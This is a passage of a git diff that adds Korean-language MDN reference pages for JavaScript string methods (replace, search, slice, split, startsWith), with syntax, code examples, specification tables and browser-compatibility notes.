+<p>다음 스크립트는 문자열의 단어를 전환합니다. 대체 텍스트의 경우 스크립트는 <code>$1</code> 와 <code>$2</code> 대체 패턴을 사용합니다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr);  // Smith, John
+</pre>
+
+<p>'Smith, John.'이 출력됩니다.</p>
+
+<h3 id="Using_an_inline_function_that_modifies_the_matched_characters">Using an inline function that modifies the matched characters</h3>
+
+<p> </p>
+
+<p>이 예제에서 문자열의 대문자가 모두 소문자로 변환되고 일치되는 위치 바로 앞에 하이픈이 삽입됩니다. 여기에서 중요한 점은 일치되는 항목이 대체 항목으로 다시 반환되기 전에 추가 작업이 필요하다는 것입니다.</p>
+
+<p>바꾸기 기능은 일치하는 스니펫을 매개 변수로 받고 이를 사용하여 각 케이스별로 변환한후 반환하기 전에 하이픈을 연결합니다.</p>
+
+<p> </p>
+
+<pre class="brush: js">function styleHyphenFormat(propertyName) {
+  function upperToHyphenLower(match) {
+    return '-' + match.toLowerCase();
+  }
+  return propertyName.replace(/[A-Z]/g, upperToHyphenLower);
+}
+</pre>
+
+<p>Given <code>styleHyphenFormat('borderTop')</code>, this returns 'border-top'.</p>
+
+<p>Because we want to further transform the <em>result</em> of the match before the final substitution is made, we must use a function. This forces the evaluation of the match prior to the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} method. If we had tried to do this using the match without a function, the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} would have no effect.</p>
+
+<pre class="brush: js">var newString = propertyName.replace(/[A-Z]/g, '-' + '$&amp;'.toLowerCase());  // won't work
+</pre>
+
+<p>This is because <code>'$&amp;'.toLowerCase()</code> would be evaluated first as a string literal (resulting in the same <code>'$&amp;'</code>) before using the characters as a pattern.</p>
+
+<h3 id="Replacing_a_Fahrenheit_degree_with_its_Celsius_equivalent">Replacing a Fahrenheit degree with its Celsius equivalent</h3>
+
+<p>The following example replaces a Fahrenheit degree with its equivalent Celsius degree. The Fahrenheit degree should be a number ending with F. The function returns the Celsius number ending with C. For example, if the input number is 212F, the function returns 100C. If the number is 0F, the function returns -17.77777777777778C.</p>
+
+<p>The regular expression <code>test</code> checks for any number that ends with F. The number of Fahrenheit degree is accessible to the function through its second parameter, <code>p1</code>. The function sets the Celsius number based on the Fahrenheit degree passed in a string to the <code>f2c()</code> function. <code>f2c()</code> then returns the Celsius number. This function approximates Perl's <code>s///e</code> flag.</p>
+
+<pre class="brush: js">function f2c(x) {
+  function convert(str, p1, offset, s) {
+    return ((p1 - 32) * 5/9) + 'C';
+  }
+  var s = String(x);
+  var test = /(-?\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convert);
+}
+</pre>
+
+<h3 id="Use_an_inline_function_with_a_regular_expression_to_avoid_for_loops">Use an inline function with a regular expression to avoid <code>for</code> loops</h3>
+
+<p>The following example takes a string pattern and converts it into an array of objects.</p>
+
+<p><strong>Input:</strong></p>
+
+<p>A string made out of the characters <code>x</code>, <code>-</code> and <code>_</code></p>
+
+<pre>x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___
+</pre>
+
+<p><strong>Output:</strong></p>
+
+<p>An array of objects. An <code>'x'</code> denotes an <code>'on'</code> state, a <code>'-'</code> (hyphen) denotes an <code>'off'</code> state and an <code>'_'</code> (underscore) denotes the length of an <code>'on'</code> state.</p>
+
+<pre class="brush: json">[
+  { on: true, length: 1 },
+  { on: false, length: 1 },
+  { on: true, length: 2 }
+  ...
+]
+</pre>
+
+<p><strong>Snippet:</strong></p>
+
+<pre class="brush: js">var str = 'x-x_';
+var retArr = [];
+str.replace(/(x_*)|(-)/g, function(match, p1, p2) {
+  if (p1) { retArr.push({ on: true, length: p1.length }); }
+  if (p2) { retArr.push({ on: false, length: 1 }); }
+});
+
+console.log(retArr);
+</pre>
+
+<p>This snippet generates an array of 3 objects in the desired format without using a <code>for</code> loop.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div> </div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.String.replace")}}</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>replace()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/search/index.html b/files/ko/web/javascript/reference/global_objects/string/search/index.html
new file mode 100644
index 0000000000..3d27d812fc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/search/index.html
@@ -0,0 +1,100 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Reference/Global_Objects/String/search
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>search()</code></strong> 메서드는 정규 표현식과  이 {{jsxref("String")}}  객체간에 같은 것을 찾기<br>
+ 위한 검색을 실행한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-search.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.search(<var>regexp</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>정규 표현식 객체.  non-RegExp 객체 <code>obj</code> 가 전달되면,  그것은  <code>new RegExp(obj)</code> 을 이용하여 {{jsxref("RegExp")}} 으로 암묵적으로 변환된다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정규표현식과 주어진 스트링간에 첫번째로 매치되는 것의 인덱스를 반환한다.<br>
+ 찾지 못하면 <strong>-1</strong> 를 반환한다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>When you want to know whether a pattern is found and also its index in a string use <code>search()</code> (if you only want to know if it exists, use the similar {{jsxref("RegExp.prototype.test()", "test()")}} method on the RegExp prototype, which returns a boolean); for more information (but slower execution) use {{jsxref("String.prototype.match()", "match()")}} (similar to the regular expression {{jsxref("RegExp.prototype.exec()", "exec()")}} method).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="search()를_이용하기"><code>search()를 이용하기</code></h3>
+
+<p>The following example searches a string with 2 different regex objects to show a successful search (positive value) vs. an unsuccessful search (-1)</p>
+
+<pre class="brush: js">var str = "hey JudE";
+var re = /[A-Z]/g;
+var re2 = /[.]/g;
+console.log(str.search(re)); // returns 4, which is the index of the first capital letter "J"
+console.log(str.search(re2)); // returns -1 cannot find '.' dot punctuation</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.search")}}</p>
+
+<h2 id="Gecko-specific_notes">Gecko-specific notes</h2>
+
+<ul>
+ <li><code>flags</code> was a non standard second argument only available in Gecko : <var>str</var>.search(<var>regexp, flags</var>)</li>
+ <li>Prior to {{Gecko("8.0")}}, <code>search()</code> was implemented incorrectly; when it was called with no parameters or with {{jsxref("undefined")}}, it would match against the string 'undefined', instead of matching against the empty string. This is fixed; now <code>'a'.search()</code> and <code>'a'.search(undefined)</code> correctly return 0.</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/slice/index.html b/files/ko/web/javascript/reference/global_objects/string/slice/index.html
new file mode 100644
index 0000000000..3bd23ace3b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/slice/index.html
@@ -0,0 +1,129 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/String/slice
+tags:
+  - 메소드
+  - 문자열
+  - 자바스크립트
+  - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>slice()</code></strong> 메소드는 문자열의 일부를 추출하면서 새로운 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-slice.html")}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>beginIndex</code></dt>
+ <dd>추출 시작점인 0부터 시작하는 인덱스입니다. 만약 음수라면, beginIndex는  <code>strLength(문자열 길이) + beginIndex</code>로 취급됩니다. (예를 들어 <code>beginIndex</code>가 -3이면 시작점은 <code>strLength - 3</code>).</dd>
+ <dd>만약 <code>beginIndex</code>가 <code>strLength</code> 보다 크거나 같은 경우, <code>slice()</code>는 빈 문자열을 반환합니다.</dd>
+ <dt><code>endIndex</code>{{optional_inline}}</dt>
+ <dd>0부터 시작하는 추출 종료점 인덱스로 그 직전까지 추출됩니다.  인덱스 위치의 문자는 추출에 포함되지 않습니다.</dd>
+ <dd>만약 <code>endIndex</code>가 생략된다면, <code>silce()</code>는 문자열 마지막까지 추출합니다. 만약 음수라면, endIndex는 <code>strLength(문자열 길이) + endIndex</code> 로 취급됩니다(예를 들어 <code>endIndex</code>가 -3이면 종료점은 <code>strLength - 3</code>).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열의 추출된 부분을 담는 새로운 문자열이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code>는 문자열로부터 텍스트를 추출하고 새 문자열을 반환합니다. 문자열의 변경은 다른 문자열에 영향을 미치지 않습니다.</p>
+
+<p><code>slice()</code>는 <code>endIndex</code>를 포함하지 않고 추출합니다. <code>str.slice(1, 4)</code>는 두 번째 문자부터 네 번째 문자까지 추출합니다 (1, 2, 3 인덱스 문자).</p>
+
+<p><code>str.slice(2, -1)</code>는 세 번째 문자부터 문자열의 마지막에서 두 번째 문자까지 추출합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="slice를_사용하여_새_문자열_생성하기"><code>slice()</code>를 사용하여 새 문자열 생성하기</h3>
+
+<p>아래 예시는 새 문자열을 생성하기 위해 <code>slice()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var str1 = 'The morning is upon us.', // the length of str1 is 23.
+    str2 = str1.slice(1, 8),
+    str3 = str1.slice(4, -2),
+    str4 = str1.slice(12),
+    str5 = str1.slice(30);
+console.log(str2); // OUTPUT: he morn
+console.log(str3); // OUTPUT: morning is upon u
+console.log(str4); // OUTPUT: is upon us.
+console.log(str5); // OUTPUT: ""
+</pre>
+
+<h3 id="음수_인덱스로_slice_사용하기">음수 인덱스로 <code>slice()</code> 사용하기</h3>
+
+<p>아래 예시는 <code>slice()</code>에 음수 인덱스를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var str = 'The morning is upon us.';
+str.slice(-3);     // returns 'us.'
+str.slice(-3, -1); // returns 'us'
+str.slice(0, -1);  // returns 'The morning is upon us'
+</pre>
+
+<p>아래의 예시는 시작 인덱스를 찾기 위해 문자열의 끝에서부터 역방향으로 <code>11</code>개를 세고 끝 인덱스를 찾기 위해 문자열의 시작에서부터 정방향으로 <code>16</code>개를 셉니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(-11, 16)) // =&gt; "is u";</code></pre>
+
+<p>아래에서는 시작 인덱스를 찾기 위해 문자열의 처음부터 정방향으로 <code>11</code>개를 세고 끝 인덱스를 찾기 위해 끝에서부터 <code>7</code>개를 셉니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(11, -7)) // =&gt; "is u";</code>
+</pre>
+
+<p>이 인수는 끝에서부터 5로 역순으로 계산하여 시작 인덱스를 찾은 다음 끝에서부터 1을 거쳐 끝 인덱스를 찾습니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(-5, -1)) // =&gt; "n us";</code>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.builtins.String.slice")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/split/index.html b/files/ko/web/javascript/reference/global_objects/string/split/index.html
new file mode 100644
index 0000000000..7100e55a50
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/split/index.html
@@ -0,0 +1,231 @@
+---
+title: String.prototype.split()
+slug: Web/JavaScript/Reference/Global_Objects/String/split
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/split
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>split()</code></strong> 메서드는 {{jsxref("String")}} 객체를 지정한 구분자를 이용하여 여러 개의 문자열로 나눕니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-split.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</pre>
+
+<div class="warning">
+<p><strong>주의:</strong> 구분자로 빈 문자열(<code>""</code>)을 제공하면, 사용자가 인식하는 문자 하나(<a href="https://unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries">grapheme cluster</a>) 또는 유니코드 문자(코드포인트) 하나씩으로 나누는 것이 아니라, UTF-16 코드유닛으로 나누게 되며 <a href="http://unicode.org/faq/utf_bom.html#utf16-2">써로게이트 페어</a><sup>surrogate pair</sup>가 망가질 수 있습니다. 스택 오버플로우의 <a href="https://stackoverflow.com/a/34717402">How do you get a string to a character array in JavaScript?</a> 질문도 참고해 보세요.</p>
+</div>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>separator</code> {{optional_inline}}</dt>
+ <dd>원본 문자열을 끊어야 할 부분을 나타내는 문자열을 나타냅니다. 실제 문자열이나 {{jsxref("Global_Objects/RegExp", "정규표현식", "", 1)}}을 받을 수 있습니다. 문자열 유형의 <code>separator</code>가 두 글자 이상일 경우 그 부분 문자열 전체가 일치해야 끊어집니다. <code>separator</code>가 생략되거나 <code>str</code>에 등장하지 않을 경우, 반환되는 배열은 원본 문자열을 유일한 원소로 가집니다. <code>separator</code>가 빈 문자열일 경우 <code>str</code>의 각각의 문자가 배열의 원소 하나씩으로 변환됩니다.</dd>
+ <dt><code>limit</code> {{optional_inline}}</dt>
+ <dd>
+ <p>끊어진 문자열의 최대 개수를 나타내는 정수입니다. 이 매개변수를 전달하면 split() 메서드는 주어진 <code>separator</code>가 등장할 때마다 문자열을 끊지만 배열의 원소가 <code>limit</code>개가 되면 멈춥니다. 지정된 한계에 도달하기 전에 문자열의 끝까지 탐색했을 경우 <code>limit</code>개 미만의 원소가 있을 수도 있습니다. 남은 문자열은 새로운 배열에 포함되지 않습니다.</p>
+ </dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 문자열을 <code>separator</code>마다 끊은 부분 문자열을 담은 {{jsxref("Array")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열에서 <code>separator</code>가 등장하면 해당 부분은 삭제되고 남은 문자열이 배열로 반환됩니다. <code>separator</code>가 등장하지 않거나 생략되었을 경우 배열은 원본 문자열을 유일한 원소로 가집니다. <code>separator</code>가 빈 문자열일 경우, <code>str</code>은 문자열의 모든 문자를 원소로 가지는 배열로 변환됩니다. <code>separator</code>가 원본 문자열의 처음이나 끝에 등장할 경우 반환되는 배열도 빈 문자열로 시작하거나 끝납니다. 그러므로 원본 문자열에 <code>separator</code> 하나만이 포함되어 있을 경우 빈 문자열 두 개를 원소로 가지는 배열이 반환됩니다.</p>
+
+<p><code>separator</code>가 포획 괄호<sup>capturing parentheses</sup>를 포함하는 정규표현식일 경우, <code>separator</code>가 일치할 때마다 포획 괄호의 (정의되지 않은 경우도 포함한) 결과가 배열의 해당 위치에 포함됩니다.</p>
+
+<p>{{Note("<code>separator</code>가 배열일 경우 분할에 사용하기 전에 우선 문자열로 변환됩니다.")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="split()_사용하기"><code>split()</code> 사용하기</h3>
+
+<p>{{Note("빈 문자열이 주어졌을 경우 <code>split()</code>은 빈 배열이 아니라 빈 문자열을 포함한 배열을 반환합니다. 문자열과 <code>separator</code>가 모두 빈 문자열일 때는 빈 배열을 반환합니다.")}}</p>
+
+<pre class="brush: js">const myString = '';
+const splits = myString.split();
+
+console.log(splits);
+
+// ↪ [""]
+</pre>
+
+<p>다음 예제에서는 문자열을 주어진 구분자로 끊는 함수를 정의합니다. 문자열을 끊은 다음에는 (끊기 이전의) 원본 문자열과 사용한 구분자, 배열의 길이와 각 원소를 로그로 출력합니다.</p>
+
+<pre class="brush: js">function splitString(stringToSplit, separator) {
+  var arrayOfStrings = stringToSplit.split(separator);
+
+  console.log('The original string is: "' + stringToSplit + '"');
+  console.log('The separator is: "' + separator + '"');
+  console.log('The array has ' + arrayOfStrings.length + ' elements: ' + arrayOfStrings.join(' / '));
+}
+
+var tempestString = 'Oh brave new world that has such people in it.';
+var monthString = 'Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec';
+
+var space = ' ';
+var comma = ',';
+
+splitString(tempestString, space);
+splitString(tempestString);
+splitString(monthString, comma);
+</pre>
+
+<p>위 예제의 출력은 다음과 같습니다.</p>
+
+<pre>The original string is: "Oh brave new world that has such people in it."
+The separator is: " "
+The array has 10 elements: Oh / brave / new / world / that / has / such / people / in / it.
+
+The original string is: "Oh brave new world that has such people in it."
+The separator is: "undefined"
+The array has 1 elements: Oh brave new world that has such people in it.
+
+The original string is: "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
+The separator is: ","
+The array has 12 elements: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec
+</pre>
+
+<h3 id="문자열에서_공백_제거하기">문자열에서 공백 제거하기</h3>
+
+<p>다음 예제에서 <code>split()</code>은 세미콜론 앞뒤에 각각 0개 이상의 공백이 있는 부분 문자열을 찾고, 있을 경우 문자열에서 세미콜론과 공백을 제거합니다. <code>split()</code>의 결과로 반환된 배열은  <code>nameList</code>에 저장됩니다.</p>
+
+<pre class="brush: js">var names = 'Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ';
+
+console.log(names);
+
+var re = /\s*(?:;|$)\s*/;
+var nameList = names.split(re);
+
+console.log(nameList);
+</pre>
+
+<p>위 예제는 원본 문자열과 반환된 배열을 각각 한 줄씩 로그로 출력합니다.</p>
+
+<pre>Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
+[ "Harry Trump", "Fred Barney", "Helen Rigby", "Bill Abel", "Chris Hand", "" ]
+</pre>
+
+<h3 id="끊는_횟수_제한하기">끊는 횟수 제한하기</h3>
+
+<p>다음 예제에서 <code>split()</code>은 문자열을 공백으로 끊고 처음 3개의 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var myString = 'Hello World. How are you doing?';
+var splits = myString.split(' ', 3);
+
+console.log(splits);
+</pre>
+
+<p>위 예제의 로그 출력은 다음과 같습니다.</p>
+
+<pre>["Hello", "World.", "How"]
+</pre>
+
+<h3 id="RegExp를_사용해_구분자도_결과에_포함하기"><code>RegExp</code>를 사용해 구분자도 결과에 포함하기</h3>
+
+<p><code>separator</code>가 포획 괄호 <code>()</code>를 포함하는 정규표현식일 경우, 포획된 결과도 배열에 포함됩니다.</p>
+
+<pre class="brush: js">var myString = 'Hello 1 word. Sentence number 2.';
+var splits = myString.split(/(\d)/);
+
+console.log(splits);
+</pre>
+
+<p>위 예제의 로그 출력은 다음과 같습니다.</p>
+
+<pre>[ "Hello ", "1", " word. Sentence number ", "2", "." ]
+</pre>
+
+<h3 id="배열을_구분자로_사용하기">배열을 구분자로 사용하기</h3>
+
+<pre class="brush: js">var myString = 'this|is|a|Test';
+var splits = myString.split(['|']);
+
+console.log(splits); //["this", "is", "a", "Test"]
+
+var myString = 'ca,bc,a,bca,bca,bc';
+
+var splits = myString.split(['a','b']);
+// <em>myString.split(['a','b'])</em>은 <em>myString.split(String(['a','b']))</em>와 같다
+
+console.log(splits);  //["c", "c,", "c", "c", "c"]
+</pre>
+
+<h3 id="split()으로_문자열_뒤집기"><code>split()</code>으로 문자열 뒤집기</h3>
+
+<div class="warning">
+<p>이 방법은 문자열 뒤집기에 효과적인 방법이 아닙니다.</p>
+
+<pre class="brush: js">var str = 'asdfghjkl';
+var strReverse = str.split('').reverse().join(''); // 'lkjhgfdsa'
+// split()에서 반환한 배열에는 reverse()와 join()을 사용할 수 있다
+</pre>
+
+<p>문자열에 grapheme clusters가 있을 경우, 유니코드 플래그를 설정해도 오류를 일으킵니다(<a href="https://github.com/mathiasbynens/esrever">esrever</a> 등의 라이브러리를 대신 사용하세요).</p>
+
+<pre class="brush: js">var str = 'résumé';
+var strReverse = str.split(/(?:)/u).reverse().join('');
+// =&gt; "́emuśer"
+</pre>
+
+<p><strong>추가:</strong> {{jsxref("Operators/Comparison_Operators", "===", "#Identity_strict_equality_(===)")}} 연산자를 사용하면 원본 문자열이 팰린드롬인지 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.1에 구현되었음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.split")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/startswith/index.html b/files/ko/web/javascript/reference/global_objects/string/startswith/index.html
new file mode 100644
index 0000000000..41eb064129
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/startswith/index.html
@@ -0,0 +1,95 @@
+---
+title: String.prototype.startsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/startsWith
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>startsWith()</code></strong></span><span class="seoSummary"> 메소드는 어떤 문자열이 특정 문자로 시작하는지 확인하여 결과를 <code>true</code> 혹은 <code>false</code>로 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>문자열의 시작 지점에서 탐색할 문자열</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd><code>searchString</code>을 탐색할 위치. 기본값 0.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열이 검색 문자열로 시작하면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="설명"><span style="display: none;"> </span><span style="display: none;"> </span>설명</h2>
+
+<p><code>startsWith</code> 메소드로 어떤 문자열이 다른 문자열로 시작하는지 확인 할 수 있습니다. 대소문자를 구분합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="startsWith()_사용하기"><code>startsWith()</code> 사용하기</h3>
+
+<pre class="brush: js">//startswith
+var str = 'To be, or not to be, that is the question.';
+
+console.log(str.startsWith('To be'));         // true
+console.log(str.startsWith('not to be'));     // false
+console.log(str.startsWith('not to be', 10)); // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>startsWith</code> 메소드는 ECMAScript 2015 명세에 포함됐으며, 아직까지 모든 JavaScrpt 구현체가 지원하지 않을 수 있습니다. 그러나 아래 코드 조각을 사용해 폴리필 할 수 있습니다.</p>
+
+<pre><code>if (!String.prototype.startsWith) {
+	String.prototype.startsWith = function(search, pos) {
+		return this.substr(!pos || pos &lt; 0 ? 0 : +pos, search.length) === search;
+	};
+}</code></pre>
+
